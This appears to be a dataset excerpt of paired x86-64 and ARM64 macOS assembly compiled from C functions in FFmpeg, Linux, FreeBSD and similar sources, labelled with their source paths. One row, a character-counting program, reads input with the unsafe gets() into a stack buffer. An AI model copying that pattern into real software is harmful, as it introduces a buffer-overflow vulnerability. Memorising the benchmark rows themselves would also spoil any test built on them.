.asciz "\350\257\245\350\241\214\345\255\227\347\254\246\345\214\205\346\213\254\357\274\232"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #192
.cfi_def_cfa_offset 192
stp x24, x23, [sp, #128] ; 16-byte Folded Spill
stp x22, x21, [sp, #144] ; 16-byte Folded Spill
stp x20, x19, [sp, #160] ; 16-byte Folded Spill
stp x29, x30, [sp, #176] ; 16-byte Folded Spill
add x29, sp, #176
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-56]
Lloh3:
adrp x0, l_str@PAGE
Lloh4:
add x0, x0, l_str@PAGEOFF
bl _puts
add x23, sp, #20
add x0, sp, #20
bl _gets
mov w22, #0
mov w21, #0
mov w20, #0
mov w19, #0
b LBB0_2
LBB0_1: ; in Loop: Header=BB0_2 Depth=1
add w21, w21, #1
add x23, x23, #1
LBB0_2: ; =>This Inner Loop Header: Depth=1
ldrb w8, [x23]
cmp w8, #32
b.eq LBB0_1
; %bb.3: ; in Loop: Header=BB0_2 Depth=1
cbz w8, LBB0_5
; %bb.4: ; in Loop: Header=BB0_2 Depth=1
sub w9, w8, #48
and w8, w8, #0xffffffdf
sub w8, w8, #65
cmp w8, #25
cinc w8, w22, ls
cinc w10, w19, hi
cmp w9, #9
csel w22, w8, w22, hi
cinc w20, w20, ls
csel w19, w10, w19, hi
add x23, x23, #1
b LBB0_2
LBB0_5:
Lloh5:
adrp x0, l_str.6@PAGE
Lloh6:
add x0, x0, l_str.6@PAGEOFF
bl _puts
str x22, [sp]
Lloh7:
adrp x0, l_.str.2@PAGE
Lloh8:
add x0, x0, l_.str.2@PAGEOFF
bl _printf
str x21, [sp]
Lloh9:
adrp x0, l_.str.3@PAGE
Lloh10:
add x0, x0, l_.str.3@PAGEOFF
bl _printf
str x20, [sp]
Lloh11:
adrp x0, l_.str.4@PAGE
Lloh12:
add x0, x0, l_.str.4@PAGEOFF
bl _printf
str x19, [sp]
Lloh13:
adrp x0, l_.str.5@PAGE
Lloh14:
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldur x8, [x29, #-56]
Lloh15:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh16:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh17:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_7
; %bb.6:
mov w0, #0
ldp x29, x30, [sp, #176] ; 16-byte Folded Reload
ldp x20, x19, [sp, #160] ; 16-byte Folded Reload
ldp x22, x21, [sp, #144] ; 16-byte Folded Reload
ldp x24, x23, [sp, #128] ; 16-byte Folded Reload
add sp, sp, #192
ret
LBB0_7:
bl ___stack_chk_fail
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17
.loh AdrpAdd Lloh13, Lloh14
.loh AdrpAdd Lloh11, Lloh12
.loh AdrpAdd Lloh9, Lloh10
.loh AdrpAdd Lloh7, Lloh8
.loh AdrpAdd Lloh5, Lloh6
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str.2: ; @.str.2
.asciz "\350\213\261\346\226\207\345\255\227\346\257\215:%d\344\270\252\n"
l_.str.3: ; @.str.3
.asciz "\347\251\272\346\240\274:%d\344\270\252\n"
l_.str.4: ; @.str.4
.asciz "\346\225\260\345\255\227:%d\344\270\252\n"
l_.str.5: ; @.str.5
.asciz "\345\205\266\344\273\226\345\255\227\347\254\246:%d\344\270\252\n"
l_str: ; @str
.asciz "\350\257\267\350\276\223\345\205\245\344\270\200\350\241\214\345\255\227\347\254\246\357\274\214\346\214\211\345\233\236\350\275\246\347\241\256\350\256\244"
l_str.6: ; @str.6
.asciz "\350\257\245\350\241\214\345\255\227\347\254\246\345\214\205\346\213\254\357\274\232"
.subsections_via_symbols
| the_stack_data/3541.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _snd_es1688_pcm ## -- Begin function snd_es1688_pcm
.p2align 4, 0x90
_snd_es1688_pcm: ## @snd_es1688_pcm
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $16, %rsp
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r14
movl %esi, %edx
movq %rdi, %r15
movl 8(%rdi), %edi
leaq L_.str(%rip), %rsi
leaq -40(%rbp), %r9
movl $1, %ecx
movl $1, %r8d
callq _snd_pcm_new
testl %eax, %eax
js LBB0_1
## %bb.2:
movq -40(%rbp), %rdi
movq _SNDRV_PCM_STREAM_PLAYBACK@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _snd_es1688_playback_ops@GOTPCREL(%rip), %rdx
callq _snd_pcm_set_ops
movq -40(%rbp), %rdi
movq _SNDRV_PCM_STREAM_CAPTURE@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _snd_es1688_capture_ops@GOTPCREL(%rip), %rdx
callq _snd_pcm_set_ops
movq -40(%rbp), %rax
movq %r15, 8(%rax)
movq _SNDRV_PCM_INFO_HALF_DUPLEX@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 4(%rax)
movl (%rax), %ebx
movq %r15, %rdi
callq _snd_es1688_chip_id
movl %ebx, %edi
movq %rax, %rsi
callq _sprintf
movq -40(%rbp), %r12
movq %r12, (%r15)
movq _SNDRV_DMA_TYPE_DEV@GOTPCREL(%rip), %rax
movl (%rax), %r15d
xorl %ebx, %ebx
xorl %eax, %eax
callq _snd_dma_isa_data
movq %r12, %rdi
movl %r15d, %esi
movl %eax, %edx
movl $65536, %ecx ## imm = 0x10000
movl $65536, %r8d ## imm = 0x10000
callq _snd_pcm_lib_preallocate_pages_for_all
testq %r14, %r14
je LBB0_4
## %bb.3:
movq -40(%rbp), %rax
movq %rax, (%r14)
jmp LBB0_4
LBB0_1:
movl %eax, %ebx
LBB0_4:
movl %ebx, %eax
addq $16, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "ESx688"
.comm _SNDRV_PCM_STREAM_PLAYBACK,4,2 ## @SNDRV_PCM_STREAM_PLAYBACK
.comm _snd_es1688_playback_ops,4,2 ## @snd_es1688_playback_ops
.comm _SNDRV_PCM_STREAM_CAPTURE,4,2 ## @SNDRV_PCM_STREAM_CAPTURE
.comm _snd_es1688_capture_ops,4,2 ## @snd_es1688_capture_ops
.comm _SNDRV_PCM_INFO_HALF_DUPLEX,4,2 ## @SNDRV_PCM_INFO_HALF_DUPLEX
.comm _SNDRV_DMA_TYPE_DEV,4,2 ## @SNDRV_DMA_TYPE_DEV
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _snd_es1688_pcm ; -- Begin function snd_es1688_pcm
.p2align 2
_snd_es1688_pcm: ; @snd_es1688_pcm
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x2
mov x2, x1
mov x20, x0
ldr w0, [x0, #8]
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
add x5, sp, #8
mov w3, #1
mov w4, #1
bl _snd_pcm_new
tbnz w0, #31, LBB0_3
; %bb.1:
ldr x0, [sp, #8]
Lloh2:
adrp x8, _SNDRV_PCM_STREAM_PLAYBACK@GOTPAGE
Lloh3:
ldr x8, [x8, _SNDRV_PCM_STREAM_PLAYBACK@GOTPAGEOFF]
Lloh4:
ldr w1, [x8]
Lloh5:
adrp x2, _snd_es1688_playback_ops@GOTPAGE
Lloh6:
ldr x2, [x2, _snd_es1688_playback_ops@GOTPAGEOFF]
bl _snd_pcm_set_ops
ldr x0, [sp, #8]
Lloh7:
adrp x8, _SNDRV_PCM_STREAM_CAPTURE@GOTPAGE
Lloh8:
ldr x8, [x8, _SNDRV_PCM_STREAM_CAPTURE@GOTPAGEOFF]
Lloh9:
ldr w1, [x8]
Lloh10:
adrp x2, _snd_es1688_capture_ops@GOTPAGE
Lloh11:
ldr x2, [x2, _snd_es1688_capture_ops@GOTPAGEOFF]
bl _snd_pcm_set_ops
ldr x8, [sp, #8]
str x20, [x8, #8]
Lloh12:
adrp x9, _SNDRV_PCM_INFO_HALF_DUPLEX@GOTPAGE
Lloh13:
ldr x9, [x9, _SNDRV_PCM_INFO_HALF_DUPLEX@GOTPAGEOFF]
Lloh14:
ldr w9, [x9]
str w9, [x8, #4]
ldr w21, [x8]
mov x0, x20
bl _snd_es1688_chip_id
mov x1, x0
mov x0, x21
bl _sprintf
ldr x21, [sp, #8]
str x21, [x20]
Lloh15:
adrp x8, _SNDRV_DMA_TYPE_DEV@GOTPAGE
Lloh16:
ldr x8, [x8, _SNDRV_DMA_TYPE_DEV@GOTPAGEOFF]
Lloh17:
ldr w20, [x8]
bl _snd_dma_isa_data
mov x2, x0
mov x0, x21
mov x1, x20
mov w3, #65536
mov w4, #65536
bl _snd_pcm_lib_preallocate_pages_for_all
mov w0, #0
cbz x19, LBB0_3
; %bb.2:
ldr x8, [sp, #8]
str x8, [x19]
LBB0_3:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpLdrGot Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9
.loh AdrpLdrGot Lloh5, Lloh6
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "ESx688"
.comm _SNDRV_PCM_STREAM_PLAYBACK,4,2 ; @SNDRV_PCM_STREAM_PLAYBACK
.comm _snd_es1688_playback_ops,4,2 ; @snd_es1688_playback_ops
.comm _SNDRV_PCM_STREAM_CAPTURE,4,2 ; @SNDRV_PCM_STREAM_CAPTURE
.comm _snd_es1688_capture_ops,4,2 ; @snd_es1688_capture_ops
.comm _SNDRV_PCM_INFO_HALF_DUPLEX,4,2 ; @SNDRV_PCM_INFO_HALF_DUPLEX
.comm _SNDRV_DMA_TYPE_DEV,4,2 ; @SNDRV_DMA_TYPE_DEV
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/sound/isa/es1688/extr_es1688_lib.c_snd_es1688_pcm.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function estimate_best_order
LCPI0_0:
.quad 0x3fb999999999999a ## double 0.10000000000000001
.section __TEXT,__text,regular,pure_instructions
.p2align 4, 0x90
_estimate_best_order: ## @estimate_best_order
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movslq %edx, %rcx
movslq %esi, %rdx
leal 1(%rcx), %eax
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
.p2align 4, 0x90
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpq %rdx, %rcx
jl LBB0_2
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movsd -8(%rdi,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
decq %rcx
decl %eax
ucomisd %xmm0, %xmm1
jbe LBB0_1
## %bb.4:
popq %rbp
retq
LBB0_2:
movl %esi, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _estimate_best_order
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function estimate_best_order
_estimate_best_order: ; @estimate_best_order
.cfi_startproc
; %bb.0:
; kill: def $w2 killed $w2 def $x2
; kill: def $w1 killed $w1 def $x1
mov x8, x0
sxtw x10, w2
sxtw x9, w1
add w0, w2, #1
sub x8, x8, #8
mov x11, #-7378697629483820647
movk x11, #39322
movk x11, #16313, lsl #48
LBB0_1: ; =>This Inner Loop Header: Depth=1
cmp x10, x9
b.lt LBB0_4
; %bb.2: ; in Loop: Header=BB0_1 Depth=1
ldr d0, [x8, x10, lsl #3]
sub x10, x10, #1
sub w0, w0, #1
fmov d1, x11
fcmp d0, d1
b.le LBB0_1
; %bb.3:
ret
LBB0_4:
mov x0, x1
ret
.cfi_endproc
; -- End function
.no_dead_strip _estimate_best_order
.subsections_via_symbols
| AnghaBench/FFmpeg/libavcodec/extr_lpc.c_estimate_best_order.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function tls_write
_tls_write: ## @tls_write
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movq (%rdi), %rax
movq $0, -16(%rbp)
movl (%rax), %edi
leaq -16(%rbp), %rcx
callq _SSLWrite
movq -16(%rbp), %rsi
movl %eax, %edi
callq _map_ssl_error
testl %eax, %eax
jg LBB0_4
## %bb.1:
je LBB0_2
## %bb.3:
movq %rbx, %rdi
movl %eax, %esi
callq _print_tls_error
jmp LBB0_4
LBB0_2:
movq _AVERROR_EOF@GOTPCREL(%rip), %rax
movl (%rax), %eax
LBB0_4:
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _AVERROR_EOF,4,2 ## @AVERROR_EOF
.no_dead_strip _tls_write
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function tls_write
_tls_write: ; @tls_write
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
ldr x8, [x0]
str xzr, [sp, #8]
ldr w0, [x8]
add x3, sp, #8
bl _SSLWrite
ldr x1, [sp, #8]
bl _map_ssl_error
mov x1, x0
cmp w0, #0
b.gt LBB0_4
; %bb.1:
cbz w1, LBB0_3
; %bb.2:
mov x0, x19
bl _print_tls_error
mov x1, x0
b LBB0_4
LBB0_3:
Lloh0:
adrp x8, _AVERROR_EOF@GOTPAGE
Lloh1:
ldr x8, [x8, _AVERROR_EOF@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
LBB0_4:
mov x0, x1
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #48
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _AVERROR_EOF,4,2 ; @AVERROR_EOF
.no_dead_strip _tls_write
.subsections_via_symbols
| AnghaBench/FFmpeg/libavformat/extr_tls_securetransport.c_tls_write.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function next_callback
_next_callback: ## @next_callback
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _dialog_state@GOTPCREL(%rip), %rax
movq 8(%rax), %rcx
testq %rcx, %rcx
cmoveq %rax, %rcx
movq (%rcx), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _dialog_state,16,3 ## @dialog_state
.no_dead_strip _next_callback
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function next_callback
_next_callback: ; @next_callback
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _dialog_state@GOTPAGE
Lloh1:
ldr x8, [x8, _dialog_state@GOTPAGEOFF]
ldr x9, [x8, #8]
cmp x9, #0
csel x8, x8, x9, eq
ldr x0, [x8]
ret
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _dialog_state,16,3 ; @dialog_state
.no_dead_strip _next_callback
.subsections_via_symbols
| AnghaBench/freebsd/contrib/dialog/extr_ui_getc.c_next_callback.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pkthdr_free ## -- Begin function pkthdr_free
.p2align 4, 0x90
_pkthdr_free: ## @pkthdr_free
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movl (%rdi), %edi
callq _packet_free
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _free ## TAILCALL
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pkthdr_free ; -- Begin function pkthdr_free
.p2align 2
_pkthdr_free: ; @pkthdr_free
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
ldr w0, [x0]
bl _packet_free
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _free
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/freebsd/usr.sbin/bluetooth/btpand/extr_packet.c_pkthdr_free.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function xenvbd_sysfs_delif
_xenvbd_sysfs_delif: ## @xenvbd_sysfs_delif
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movq _xen_vbdstat_group@GOTPCREL(%rip), %rsi
callq _sysfs_remove_group
movq _dev_attr_mode@GOTPCREL(%rip), %rsi
movq %rbx, %rdi
callq _device_remove_file
movq _dev_attr_physical_device@GOTPCREL(%rip), %rsi
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _device_remove_file ## TAILCALL
.cfi_endproc
## -- End function
.comm _xen_vbdstat_group,4,2 ## @xen_vbdstat_group
.comm _dev_attr_mode,4,2 ## @dev_attr_mode
.comm _dev_attr_physical_device,4,2 ## @dev_attr_physical_device
.no_dead_strip _xenvbd_sysfs_delif
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function xenvbd_sysfs_delif
_xenvbd_sysfs_delif: ; @xenvbd_sysfs_delif
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
Lloh0:
adrp x1, _xen_vbdstat_group@GOTPAGE
Lloh1:
ldr x1, [x1, _xen_vbdstat_group@GOTPAGEOFF]
bl _sysfs_remove_group
Lloh2:
adrp x1, _dev_attr_mode@GOTPAGE
Lloh3:
ldr x1, [x1, _dev_attr_mode@GOTPAGEOFF]
mov x0, x19
bl _device_remove_file
Lloh4:
adrp x1, _dev_attr_physical_device@GOTPAGE
Lloh5:
ldr x1, [x1, _dev_attr_physical_device@GOTPAGEOFF]
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _device_remove_file
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _xen_vbdstat_group,4,2 ; @xen_vbdstat_group
.comm _dev_attr_mode,4,2 ; @dev_attr_mode
.comm _dev_attr_physical_device,4,2 ; @dev_attr_physical_device
.no_dead_strip _xenvbd_sysfs_delif
.subsections_via_symbols
| AnghaBench/linux/drivers/block/xen-blkback/extr_xenbus.c_xenvbd_sysfs_delif.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ide_set_dma ## -- Begin function ide_set_dma
.p2align 4, 0x90
_ide_set_dma: ## @ide_set_dma
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %r14
callq _ide_dma_off_quietly
movq %r14, %rdi
callq _ide_dma_check
movl %eax, %ebx
testl %eax, %eax
jne LBB0_2
## %bb.1:
movq %r14, %rdi
callq _ide_dma_on
LBB0_2:
movl %ebx, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ide_set_dma ; -- Begin function ide_set_dma
.p2align 2
_ide_set_dma: ; @ide_set_dma
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _ide_dma_off_quietly
mov x0, x19
bl _ide_dma_check
mov x20, x0
cbnz w0, LBB0_2
; %bb.1:
mov x0, x19
bl _ide_dma_on
LBB0_2:
mov x0, x20
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/linux/drivers/ide/extr_ide-dma.c_ide_set_dma.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _PerAxisValue ## -- Begin function PerAxisValue
.p2align 4, 0x90
_PerAxisValue: ## @PerAxisValue
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq _perkeyconfigsize@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, %eax
je LBB0_6
## %bb.1:
movl %esi, %r14d
movq %rdi, %r12
movl $16, %ebx
xorl %r13d, %r13d
movq _perkeyconfig@GOTPCREL(%rip), %r15
jmp LBB0_2
.p2align 4, 0x90
LBB0_5: ## in Loop: Header=BB0_2 Depth=1
incq %r13
movl %eax, %ecx
addq $24, %rbx
cmpq %rcx, %r13
jae LBB0_6
LBB0_2: ## =>This Inner Loop Header: Depth=1
movq (%r15), %rcx
cmpq %r12, -16(%rcx,%rbx)
jne LBB0_5
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
movq (%rcx,%rbx), %rdx
movq (%rdx), %rdx
testq %rdx, %rdx
je LBB0_5
## %bb.4: ## in Loop: Header=BB0_2 Depth=1
movl -8(%rcx,%rbx), %edi
movl %r14d, %esi
callq *%rdx
movq _perkeyconfigsize@GOTPCREL(%rip), %rax
movl (%rax), %eax
jmp LBB0_5
LBB0_6:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _perkeyconfigsize,4,2 ## @perkeyconfigsize
.comm _perkeyconfig,8,3 ## @perkeyconfig
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _PerAxisValue ; -- Begin function PerAxisValue
.p2align 2
_PerAxisValue: ; @PerAxisValue
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
Lloh0:
adrp x21, _perkeyconfigsize@GOTPAGE
Lloh1:
ldr x21, [x21, _perkeyconfigsize@GOTPAGEOFF]
ldr w8, [x21]
cbz w8, LBB0_6
; %bb.1:
mov x19, x1
mov x20, x0
mov x22, #0
mov x23, #0
Lloh2:
adrp x24, _perkeyconfig@GOTPAGE
Lloh3:
ldr x24, [x24, _perkeyconfig@GOTPAGEOFF]
b LBB0_3
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
add x23, x23, #1
add x22, x22, #24
cmp x23, w8, uxtw
b.hs LBB0_6
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x9, [x24]
ldr x10, [x9, x22]
cmp x10, x20
b.ne LBB0_2
; %bb.4: ; in Loop: Header=BB0_3 Depth=1
add x10, x9, x22
ldr x9, [x10, #16]
ldr x9, [x9]
cbz x9, LBB0_2
; %bb.5: ; in Loop: Header=BB0_3 Depth=1
ldr w0, [x10, #8]
mov x1, x19
blr x9
ldr w8, [x21]
b LBB0_2
LBB0_6:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh2, Lloh3
.cfi_endproc
; -- End function
.comm _perkeyconfigsize,4,2 ; @perkeyconfigsize
.comm _perkeyconfig,8,3 ; @perkeyconfig
.subsections_via_symbols
| AnghaBench/Provenance/Cores/Yabause/yabause/src/extr_peripheral.c_PerAxisValue.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function test_VarUI8FromCy
LCPI0_0:
.quad 0xbff0000000000000 ## double -1
LCPI0_1:
.quad 0x3ff0000000000000 ## double 1
LCPI0_2:
.quad 0x406fe00000000000 ## double 255
LCPI0_3:
.quad 0xbff8000000000000 ## double -1.5
LCPI0_4:
.quad 0xbfe3333333333333 ## double -0.59999999999999998
LCPI0_5:
.quad 0xbfe0000000000000 ## double -0.5
LCPI0_6:
.quad 0xbfd999999999999a ## double -0.40000000000000002
LCPI0_7:
.quad 0x3fd999999999999a ## double 0.40000000000000002
LCPI0_8:
.quad 0x3fe0000000000000 ## double 0.5
LCPI0_9:
.quad 0x3fe3333333333333 ## double 0.59999999999999998
LCPI0_10:
.quad 0x3ff8000000000000 ## double 1.5
.section __TEXT,__text,regular,pure_instructions
.p2align 4, 0x90
_test_VarUI8FromCy: ## @test_VarUI8FromCy
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq _CY@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _CONVVARS
